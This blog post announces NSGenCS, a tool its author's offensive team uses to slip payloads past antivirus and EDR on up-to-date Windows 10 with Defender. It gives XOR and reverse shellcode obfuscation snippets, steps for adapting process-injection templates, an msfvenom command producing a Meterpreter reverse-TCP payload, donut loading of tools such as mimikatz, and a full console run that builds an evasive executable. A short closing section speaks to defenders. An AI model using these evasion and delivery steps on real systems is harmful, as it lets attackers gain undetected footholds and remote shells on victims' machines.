One of the hats I wear at work means that I help our offensive team with strategies and tooling. Since the company I work for is only a few years old, we don’t have the depth and maturity of tooling in some areas and one of my responsibilities is to try and create those resources so that my team can focus on delivery for the client.
I am releasing the tool I have created to perform AV/EDR bypass publicly alongside this blog post. It will be available from here : https://github.com/t3hbb/NSGenCS .
We have used this tool on many engagements and normally a simple tweak is enough to get us past the endpoint protection. Historically if a tool didn’t work, there was a lot of work re-configuring either the delivery mechanism or the payload. The final delivered payload was different, however the techniques remain pretty constant.
This is a re-invention of many wheels out there that already perform this job – nothing in this release is cutting edge zero days. However it is packed up to be more extensible, IMHO, and flexible. Commercially, I want my team to only have to spend a few minutes re-configuring a payload or swapping delivery methods.
I also wanted to produce a tool to show that the use of such a framework is pretty simple and if you are relying on your AV/EDR as the single source of alerts for ‘bad’ behaviour, as an attacker we only have one thing to defeat before we can have a foothold in your environment.
The aim was to be able to deliver payloads from a variety of frameworks without detection on a Windows 10 machine with an up to date version of Defender. Probably the most detected framework is the Metasploit framework so working on the assumption that we can get that working, payloads from other frameworks should theoretically work too.
There are two components to consider in the detection chain for this. One is the delivery framework and the other is the payload. If either are caught by AV or EDR, then it should be considered a fail from the offensive point of view.
It goes without saying that the raw output from the Metasploit payload generation tool will get detected so we need a way to hide this from AV. A super simple way of doing this is to obfuscate the output and de-obfuscate it when we need to use it. There are many frameworks that can do this for you, probably one of the best IMHO is the Shikata Ga Nai project (https://github.com/EgeBalci/sgn) – however simply obfuscating the entire payload with a single byte XOR is more than enough at this stage.
We went with a two-stage process – manipulating your payload so it is obfuscated from static analysis and having a choice of delivery frameworks depending on our operating environment.
Payload obfuscation
If we look at the two simple methods provided with the framework, xor and reverse, both folders contain an encrypt.txt and a decrypt.txt. These are C# files that contain the transformations that you wish to apply to your code.
In the case of reverse this is as simple as Array.Reverse(buf);
This reverses the byte array and changing its signature. These can be as complicated or as simple as you wish. For demonstration purposes of how effective this can be, we will use the xor method.
This takes your payload and XORs each byte with a provided key, again changing the payload so that it may avoid static detection by AV/EDR
Our payload should be in a file that starts with something like :
byte[] buf = new byte[279] {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff ...
So the XOR encryption (and decryption) is simply performed by having the encrypt and decrypt files contain the following code with KEYHERE a value to be substituted at runtime allowing you to set it to whatever you want.
Note: our payload file should always have the value buf – should look like this
byte[] buf = new byte[279] { 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff....};
If you wanted to add a 1000 byte NOP sled (for example) to the payload, the decrypt file would remain the same, but the encrypt file would look like this :
Array.Reverse(buf); Array.Resize(ref buf, (buf.Length) + 1000); Array.Reverse(buf); for (int j = 0; j < 1000 ; j++) { buf[j] = (byte)((uint) 0x90); }
This gives us unlimited options as to how we encrypt our payload. You can incorporate proper encryption such as AES, provide a key for encryption and a brute force subroutine in decryption. The only limits are your imagination!
The new output is then popped into the delivery template at a marker called SHELLCODEHERE. Depending on the delivery template you can add a DECRYPTHERE tag (which will be replaced by the contents of decrypt.txt) immediately afterwards or place it close to the point that it is injected into memory to minimize the amount of time it remains in the clear in memory.
Templates
Templates are simply C# files with two markers in them. One is SHELLCODEHERE for where our newly modified payload is places, and the other is DECRYPTHERE for when the payload needs to be decrypted. The rest is just what you want to do to get execution.
To show how easy it is to modify templates, I borrowed the templates from pwndizzle (https://github.com/pwndizzle/c-sharp-memory-injection).
Modifications took less than a minute :
- Download existing template to its own folder, rename it to template (in this instance thread-hijack.cs -> template) and add a payload.csproj to the folder. The folder name will become the parameter you pass via -template
2. Open the template file and locate where current payload is stored :
Note that in this case the shellcode is stored in a variable called payload so we need to search and replace payload with buf (remember – that is the variable that the decryption routine is looking for)
3. Delete current payload
4. Add our SHELLCODEHERE and DECRYPTHERE tags
And … well…. that’s it. Yep. That’s all you need to do to add a Thread Hijack delivery method to the framework
All we need to do now is provide the folder name of the new template to the tool at the command line.
Let’s try it with a real world example
I used the output from
c:\metasploit-framework\bin\msfvenom.bat -p windows/x64/meterpreter/reverse_tcp -f csharp LPORT=4444 LHOST=192.168.1.84 -o meterpreter.cs
Now you have to understand what your delivery template is doing, and its requirements. For example the Thread_hijack takes a command line parameter for the process you wish to inject into – I used notepad in this example. Let’s see how it gets on with a fully patched and up to date Windows 10 with Defender :
Simples!
What else?
So we have an obfuscation method that we know can be extended, and we have delivery templates that can be anything we want. What else?
You can also use the awesome donut framework (https://github.com/TheWover/donut) to create payloads for use with the framework such as mimikatz :
donut -a 2 -f 7 -z 2 file.exe will generate a loader.cs that you can use – PLEASE CHANGE THE VARIABLE NAME IN LOADER.CS FROM my_buf to buf!!
You can deliver nearly anything using a combination of donut and NSGenCS. donut is the closest framework to magic as far as I can tell! Want to deliver a tool that is detected but not a shellcode/beacon? Go for it – drop it using this framework. Just make sure you use a delivery template that supports console out if you need it.
Also supplied is the PE_Load template adopted from Casey Smith’s (@subTee) and a utility called PE2CS. The PE_LOAD template triggers Defender so use with caution!
Want to reflectively load a PE file? Well now you can. If you want.
If you still do it’s just PE2CS inputfile > outputfile and use the outputfile as your C# input file.
But it does show how you can use templates from all sorts of different projects, drop them in this framework and with a few minor adjustments, you’re good to go.
PE2CS
The included utility PE2CS will also convert any raw shellcode into the correct format to use with NSGENCS. Here we take the raw output from MSFVenom and parse it using PE2CS
C:\Tools\NSGenCS>c:\metasploit-framework\bin\msfvenom.bat -p windows/x64/messagebox TEXT=NSGENCS TITLE=NSGENCS -f raw > msgbox.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 283 bytes
C:\Tools\NSGenCS>pe2cs msgbox.bin > msgbox.cs
C:\Tools\NSGenCS>python NSGenCS.py -file msgbox.cs -method xor -key 0x55 -out p3.exe
███╗ ██╗███████╗ ██████╗ ███████╗███╗ ██╗ ██████╗███████╗
████╗ ██║██╔════╝██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔════╝
██╔██╗ ██║███████╗██║ ███╗█████╗ ██╔██╗ ██║██║ ███████╗
██║╚██╗██║╚════██║██║ ██║██╔══╝ ██║╚██╗██║██║ ╚════██║
██║ ╚████║███████║╚██████╔╝███████╗██║ ╚████║╚██████╗███████║
╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚══════╝
NS Payload Encryptor by @bb_hacks
> Creating encoded shellcode from CS file
> Generating payload
> Cleanup
Microsoft (R) Build Engine version 16.10.2+857e5a733 for .NET
Copyright (C) Microsoft Corporation. All rights reserved.
Determining projects to restore...
Restored C:\Tools\NSGenCS\APC_Inj_New\Payload.csproj (in 94 ms).
Payload -> C:\Tools\NSGenCS\APC_Inj_New\bin\Release\net45\win10-x64\Payload.exe
Payload -> C:\Tools\NSGenCS\APC_Inj_New\bin\Release\net45\win10-x64\publish\
1 file(s) copied.
You should see p3.exe now
C:\Tools\NSGenCS>p3.exe
And what do we see:
Blue Team
Since the payloads and templates vary so much and templates can be grabbed from anywhere, I have struggled to come up with a good way of detecting this. This is more than likely my lack of experience recently in this field, however half of the point of the tool is to demonstrate that if you aren’t doing behavioural monitoring, you’re missing out on a huge amount of threat telemetry.
Most of the provided templates rely on process injection, so that would be the starting point. But all of the offensive methodologies are able to be leveraged through this framework – want IAT Hijacking, just drop in a template.
Conclusion
If you think that detecting tooling output is going to protect you from any capable attacker. You will be sad and have a bad day…
If you think that relying on AV/EDR signatures is enough, you will be also sad and have a bad day…
If you want to contribute with frameworks and methods, please do!
Credits
@mhaskar for so much work cleaning the code up. I am not a good/clean/organised/competent coder, before he got his hands on my code it looked like an accident in an alphabet soup factory.
https://github.com/TheWover/donut for such an incredible tool
https://github.com/smokeme/payloadGenerator for the inspiration and base code – I just couldn’t get it working with the .NET dependencies which was my fault, so created this instead
https://github.com/pwndizzle/c-sharp-memory-injection for the example templates
https://northstarcybersecurity.co.uk – my employer for letting me have the personal and professional development time to create this.